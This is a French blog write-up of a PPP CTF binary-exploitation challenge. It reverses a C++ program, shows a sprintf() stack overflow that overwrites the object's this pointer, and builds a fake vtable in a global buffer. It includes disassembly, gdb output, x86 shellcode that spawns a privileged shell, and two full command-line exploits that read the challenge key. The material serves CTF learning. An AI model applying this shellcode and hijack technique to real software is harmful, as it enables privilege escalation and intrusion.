Bonjour,

Ce week-end s’est déroulé le PPP CTF, je n’ai hélas pas pu y consacrer énormément de temps :(.

J’ai quand même pu toucher à quelques épreuves sympas dont un overflow sur un programme écrit en C++.

Nous avions affaire à un programme vulnérable à un overflow dû à l’usage de sprintf() et nous devions crafter une vtable afin de rediriger le flux d’exécution comme il fallait.

Tout d’abord on va reverser le programme.

Reversing for the better good?

La première routine dans main() est le check du nombre d’arguments.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.text:080487C9 ; =============== S U B R O U T I N E =======================================
.text:080487C9
.text:080487C9 ; Attributes: noreturn
.text:080487C9
.text:080487C9 main            proc near               ; DATA XREF: start+17 o
.text:080487C9
.text:080487C9 nptr            = dword ptr -30h
.text:080487C9 value           = dword ptr -2Ch
.text:080487C9 str             = dword ptr -28h
.text:080487C9 arg_0           = byte ptr  4
.text:080487C9
.text:080487C9                 lea     ecx, [esp+arg_0]
.text:080487CD                 and     esp, 0FFFFFFF0h
.text:080487D0                 push    dword ptr [ecx-4]
.text:080487D3                 push    ebp
.text:080487D4                 mov     ebp, esp
.text:080487D6                 push    ecx
.text:080487D7                 sub     esp, 24h
.text:080487DA                 mov     [ebp-18h], ecx
.text:080487DD                 mov     eax, [ebp-18h]
.text:080487E0                 cmp     dword ptr [eax], 2
.text:080487E3                 jg      short loc_80487F5
.text:080487E5                 mov     edx, [ebp-18h]
.text:080487E8                 mov     eax, [edx+4]
.text:080487EB                 mov     eax, [eax]
.text:080487ED                 mov     [esp+30h+nptr], eax
.text:080487F0                 call    usage

Nous avons ensuite un appel vers une fonction qui prend le pointeur this en paramètre.

1
2
3
4
5
6
.text:080487F5 ; ---------------------------------------------------------------------------
.text:080487F5
.text:080487F5 loc_80487F5:                            ; CODE XREF: main+1A j
.text:080487F5                 lea     eax, [ebp-0Ch]
.text:080487F8                 mov     [esp+30h+nptr], eax
.text:080487FB                 call    set_string_wrapper

Cette fonction va initialiser un pointeur de méthode dans l’objet en utilisant le pointeur this passé en paramètre.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:08048846 ; =============== S U B R O U T I N E =======================================
.text:08048846
.text:08048846 ; Attributes: bp-based frame
.text:08048846
.text:08048846 set_string_wrapper proc near            ; CODE XREF: main+32 p
.text:08048846
.text:08048846 arg_0           = dword ptr  8
.text:08048846
.text:08048846                 push    ebp
.text:08048847                 mov     ebp, esp
.text:08048849                 mov     eax, [ebp+arg_0]
.text:0804884C                 mov     dword ptr [eax], offset offset_show_string
.text:08048852                 pop     ebp
.text:08048853                 retn
.text:08048853 set_string_wrapper endp

Cette pointeur pointe vers l’addresse 0x08048B20 où se trouve l’addresse d’une fonction d’affichage.

1
.rodata:08048B20 offset_show_string dd offset show_string ; DATA XREF: set_string_wrapper+6

La fonction d’affichage est un simple wrapper pour printf() et prend une chaîne de caractère en paramètre (aucun intérêt à mon goût).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:08048854 ; =============== S U B R O U T I N E =======================================
.text:08048854
.text:08048854 ; Attributes: bp-based frame
.text:08048854
.text:08048854 show_string     proc near               ; DATA XREF: .rodata:offset_show_string o
.text:08048854
.text:08048854 str             = dword ptr  0Ch
.text:08048854
.text:08048854                 push    ebp
.text:08048855                 mov     ebp, esp
.text:08048857                 sub     esp, 8
.text:0804885A                 mov     eax, [ebp+str]
.text:0804885D                 mov     [esp+4], eax
.text:08048861                 mov     dword ptr [esp], offset aS ; "%s"
.text:08048868                 call    _printf
.text:0804886D                 leave
.text:0804886E                 retn
.text:0804886E show_string     endp

Au final, set_string_wrapper() va faire la chose suivante:

1
2
this->ptr = 0x08048B20
*0x08048B20 = show_string

ce qui donne donc:

1
this->ptr->show_string().

Maintenant revenons à la suite de notre fonction main(). Celle-ci va ensuite faire un appel à atoi() pour convertir le argv[2] en entier pour ensuite appeler vuln() en passant argv[2] et argv[1].

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
.text:08048800                 mov     edx, [ebp-18h]
.text:08048803                 mov     eax, [edx+4]
.text:08048806                 add     eax, 8
.text:08048809                 mov     eax, [eax]
.text:0804880B                 mov     [esp+30h+nptr], eax ; nptr
.text:0804880E                 call    _atoi
.text:08048813                 mov     [ebp-8], eax
.text:08048816                 mov     edx, [ebp-18h]
.text:08048819                 mov     eax, [edx+4]
.text:0804881C                 add     eax, 4
.text:0804881F                 mov     eax, [eax]
.text:08048821                 mov     [esp+30h+str], eax
.text:08048825                 mov     eax, [ebp-8]
.text:08048828                 mov     [esp+30h+value], eax
.text:0804882C                 lea     eax, [ebp-0Ch]
.text:0804882F                 mov     [esp+30h+nptr], eax
.text:08048832                 call    vuln
.text:08048832 main            endp
.text:08048832
.text:08048837 ; ---------------------------------------------------------------------------
.text:08048837                 mov     eax, 0
.text:0804883C                 add     esp, 24h
.text:0804883F                 pop     ecx
.text:08048840                 pop     ebp
.text:08048841                 lea     esp, [ecx-4]
.text:08048844                 retn

Ca nous donne donc:

1
vuln(this, atoi(argv[2]), argv[1]);

Regardons ce qui se passe dans vuln(). On repère 2 fonction intéressantes: sprintf() et memcpy() qui peuvent être susceptible à des overflows si des arguments sont controlés.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
.text:0804896C ; =============== S U B R O U T I N E =======================================
.text:0804896C
.text:0804896C ; Attributes: noreturn bp-based frame
.text:0804896C
.text:0804896C vuln            proc near               ; CODE XREF: main+69 p
.text:0804896C
.text:0804896C buf             = byte ptr -32h
.text:0804896C this            = dword ptr  8
.text:0804896C value           = dword ptr  0Ch
.text:0804896C str             = dword ptr  10h
.text:0804896C
.text:0804896C                 push    ebp
.text:0804896D                 mov     ebp, esp
.text:0804896F                 sub     esp, 58h
.text:08048972                 mov     eax, [ebp+value]
.text:08048975                 mov     [esp+0Ch], eax
.text:08048979                 mov     eax, [ebp+str]
.text:0804897C                 mov     [esp+8], eax
.text:08048980                 mov     dword ptr [esp+4], offset aUploading___SD ; "Uploading... [%s]: %d pts\n"
.text:08048988                 lea     eax, [ebp+buf]
.text:0804898B                 mov     [esp], eax      ; s
.text:0804898E                 call    _sprintf
.text:08048993                 mov     dword ptr [esp+8], 32h ; n
.text:0804899B                 lea     eax, [ebp+buf]
.text:0804899E                 mov     [esp+4], eax    ; buf
.text:080489A2                 mov     dword ptr [esp], offset s ; dest
.text:080489A9                 call    _memcpy
.text:080489AE                 mov     eax, [ebp+this]
.text:080489B1                 mov     eax, [eax]
.text:080489B3                 mov     edx, [eax]
.text:080489B5                 mov     dword ptr [esp+4], offset s
.text:080489BD                 mov     eax, [ebp+this]
.text:080489C0                 mov     [esp], eax
.text:080489C3                 call    edx
.text:080489C5                 mov     eax, [ebp+this]
.text:080489C8                 mov     [esp], eax
.text:080489CB                 call    send_points
.text:080489CB vuln            endp
.text:080489CB
.text:080489D0 ; ---------------------------------------------------------------------------
.text:080489D0                 leave
.text:080489D1                 retn

On a les choses suivantes:

1
2
3
4
sprintf(buf, "Uploading... [%s]: %d pts\n", argv[1], atoi(argv[2]));
memcpy(s, buf, 50);
this->ptr->fct(s); // avec fct normalement égal à l'adresse de show_string()
send_points(this);

On a les variables suivantes:

1
2
buf = buffer local de 50 octets
s = buffer global

Donc la vulnérabilitée se trouve au niveau du sprintf() qui overflow sur une partie de la stack et qui permet donc de re-écrire en autre this. On va re-écrire this et pouvoir se crafter une vtable dans le buffer global, ça permet de bypasser l’ASLR sans souci.

Je parle bien entendu de cette partie:

1
2
3
4
5
.text:080489AE                 mov     eax, [ebp+this]
.text:080489B1                 mov     eax, [eax]
.text:080489B3                 mov     edx, [eax]
[...]
.text:080489C3                 call    edx

Exploitation in progress …

On va chercher à connaître l’offset après lequel on re-écrit this.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
$ ssh cpp1_135@a5.amalgamated.biz
cpp1_135@a5.amalgamated.biz's password: 
Linux a5 2.6.32-5-686-bigmem #1 SMP Tue Mar 8 22:14:55 UTC 2011 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Apr 25 08:44:32 2011 from XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
cpp1_135@a5:~$ ls='ls --color -lash'
cpp1_135@a5:~$ cd /opt/pctf/cpp1/
cpp1_135@a5:/opt/pctf/cpp1$ ls
total 20K
4.0K drwxr-x--- 2 root cpp1users 4.0K Apr 20 20:48 .
4.0K drwxr-xr-x 9 root root      4.0K Apr 21 12:24 ..
8.0K -rwxr-sr-x 1 root cpp1key   4.9K Apr 20 20:44 first_cpp
4.0K -rw-r----- 1 root cpp1key     27 Apr 15 19:35 key
cpp1_135@a5:/opt/pctf/cpp1$ gdb -q ./first_cpp 
Reading symbols from /opt/pctf/cpp1/first_cpp...(no debugging symbols found)...done.
(gdb) r `printf "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9"` 10
Starting program: /opt/pctf/cpp1/first_cpp `printf "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9"` 10

Program received signal SIGSEGV, Segmentation fault.
0x080489b1 in ?? ()
(gdb) i r
eax            0x35624134 895631668
ecx            0x0 0
edx            0x0 0
ebx            0xb775eff4 -1217007628
esp            0xbfed57f0 0xbfed57f0
ebp            0xbfed5848 0xbfed5848
esi            0x0 0
edi            0x0 0
eip            0x80489b1 0x80489b1
eflags         0x210207 [ CF PF IF RF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51
(gdb) x/10i $eip
0x80489b1: mov    (%eax),%eax
0x80489b3: mov    (%eax),%edx
0x80489b5: movl   $0x8049dc0,0x4(%esp)
0x80489bd: mov    0x8(%ebp),%eax
0x80489c0: mov    %eax,(%esp)
0x80489c3: call   *%edx
0x80489c5: mov    0x8(%ebp),%eax
0x80489c8: mov    %eax,(%esp)
0x80489cb: call   0x8048870
0x80489d0: leave  
(gdb) 

this pointant vers une valeur invalide, on trigger notre segfault :).

Avec le pattern on obtient vite l’offset:

1
2
~/repos/msf3$ tools/pattern_offset.rb `printf "\x34\x41\x62\x35"`
44

On doit d’abord faire de petits calculs d’offset pour savoir où se trouve notre chaîne:

1
2
3
4
5
6
0x08049DC0 => addresse du buffer global contenant notre chaîne entière
// addresse de la string qu'on soumet à l'application
// strlen("Uploading...") == 14
0x08049DC0 + 14 = 0x08049DCE
// addresse où se trouve notre this
0x08049DCE + 44 = 0x08049DFA

On va maintenant pouvoir pawn le challenge comme il faut, pour celà, je vais vous montrer 2 patterns d’attaques j’ai utilisé pour ce faire.

On a this->ptr->fct(), et on contrôle this (et donc les autres pointeurs). On peut exploiter le challenge en utilisant le code suivante:

1
2
3
4
5
6
[jump code (7 bytes)] [ ptr (4bytes)  ] [ fct ptr (4 bytes) ] [ junk (29 bytes) ] [ this (4bytes) ] [ payload ]
<--------------------------------------------------------------------------------><----------------><--------->
                    44 bytes                                                      |    4 bytes     |   ?
this = 0x08049dd5 = address de ptr
ptr  = 0x08049dd9
fct  = 0x08049dce

Je vais utiliser la payload suivante (bash -p):

1
"\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"
1
./first_cpp `python -c 'print "\x89\xe0\x83\xc0\x78\xff\xe0" + "\xd9\x9d\x04\x08" + "\xce\x9d\x04\x08" + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa" + "\xd5\x9d\x04\x08" + "\x90" * 128 + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"'` 10

Le jump code est le suivant:

1
2
3
4
5
BITS 32

mov eax, esp
add eax, 120
jmp eax

Avec ce pattern on saute sur la stack pour exécuter notre code.

Je voulais un pattern un peu plus propre n’ayant pas à overflow trop la stack. Pattern plus propre permettant d’avoir tout dans le buffer global:

1
2
3
4
[ ptr (4bytes)  ] [ fct ptr (4 bytes) ] [ payload1 (23 bytes ] [ junk (5 bytes)]
this = 0x08049dce = address of ptr
ptr  = 0x08049dd2
fct  = 0x08049dd6

En vrai en stack on a la chose suivante:

1
2
3
4
[ ptr (4bytes)  ] [ fct ptr (4 bytes) ] [ payload1 (23 bytes ] [ junk (13 bytes)] [ this (4bytes) ] [ payload2 ]
this = 0x08049dce = address of ptr
ptr  = 0x08049dd2
fct  = 0x08049dd6
1
2
3
$ ./first_cpp `python -c 'print "\xd2\x9d\x04\x08" + "\xd6\x9d\x04\x08" + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x90" * 13 + "\xce\x9d\x04\x08"'` 10
$ cat key
Virtual_function_is_Virtue

Dans le buffer global on a ainsi l’équivalent suivant:

1
global_buffer = "Uploading..." + "\xd2\x9d\x04\x08" + "\xd6\x9d\x04\x08" + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x90" * 5

Et voilà, pawned,

Conclusion

On a pu voir que la mauvaise utilisation de fonctions dangereuses et l’utilisation de variables globales peut rendre une exploitation de vtable et vptr plutôt possible :).

J’espère que ça vous a plu :),

m_101